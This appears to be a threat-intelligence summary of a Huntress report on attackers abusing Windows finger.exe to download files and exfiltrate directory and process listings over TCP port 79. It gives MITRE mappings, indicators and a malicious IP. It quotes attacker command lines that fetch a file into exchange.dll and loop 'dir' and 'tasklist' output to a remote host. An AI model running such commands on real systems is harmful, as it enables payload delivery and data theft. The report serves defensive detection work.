Threat actors repurpose native Windows tools (LOLBins) such as finger.exe to enable data ingress and exfiltration while blending in with legitimate activity. The Huntress report shows finger.exe used to download files to the endpoint, enumerate information, and exfiltrate data to a remote host over an unencrypted channel on TCP port 79. #Finger #Huntress
Keypoints
- Windows LOLBins/LOLBAS are used by attackers to blend in and minimize tool footprint during data exfiltration.
- finger.exe, a native Windows utility, can be used not only to query logged-in users but also to download files to the endpoint.
- Huntress observed finger.exe used to exfiltrate data after creating a webshell on an MS Exchange server, with Defender not monitoring that endpoint in this case.
- The actor used finger.exe to download a file to the endpoint using a command that targets a remote host: “C:WindowsSystem32cmd.exe” /c finger [email protected] >> exchange.dll
- Finger was also used to obtain endpoint context (directory and process lists) and send results back to the remote endpoint unencrypted over TCP port 79: “dir %TEMP%*.txt” and “tasklist” commands.
- The IP 185.56.83.82 is associated with the exfiltration activity and has a history of malicious reports (AbuseIPDB) and VirusTotal detections.
MITRE Techniques
- [T1105] Ingress Tool Transfer – The actor used finger.exe to download a file to the endpoint. Quote: ‘C:WindowsSystem32cmd.exe” /c finger [email protected] >> exchange.dll’
- [T1083] File and Directory Discovery – The actor enumerated directory contents with commands like ‘dir %TEMP%*.txt’ and sent results back. Quote: ‘C:WindowsSystem32cmd.exe” /c for /f “tokens=1” %i in (“dir %TEMP%*.txt”) do finger %[email protected]’
- [T1057] Process Discovery – The actor enumerated running processes with ‘tasklist’ and sent results back. Quote: ‘C:WindowsSystem32cmd.exe” /c for /f “tokens=1” %i in (“tasklist”) do finger %[email protected]’
- [T1048.003] Exfiltration Over Unencrypted Non-C2 Protocol – Data was exfiltrated unencrypted over TCP port 79. Quote: ‘…send each returned file name to the remote endpoint, unencrypted, via TCP port 79.’
Indicators of Compromise
- [IP Address] 185.56.83.82 – used to download files to the endpoint and to receive data exfiltration commands.
- [File Name] finger.exe – LOLBin used to download and exfiltrate data.
- [File Name] exchange.dll – downloaded/exfiltrated artifact observed in the commands.
- [File Name] curl.exe – used in related commands to download files.
- [File Name] certutil.exe – used as part of the data handling/collection tooling.
- [File Name] rundll32.exe – observed as part of the threat actor’s toolset during activity.
- [File Path] C:WindowsSystem32cmd.exe – used to run the finger-based commands.
Read more: https://www.huntress.com/blog/cant-touch-this-data-exfiltration-via-finger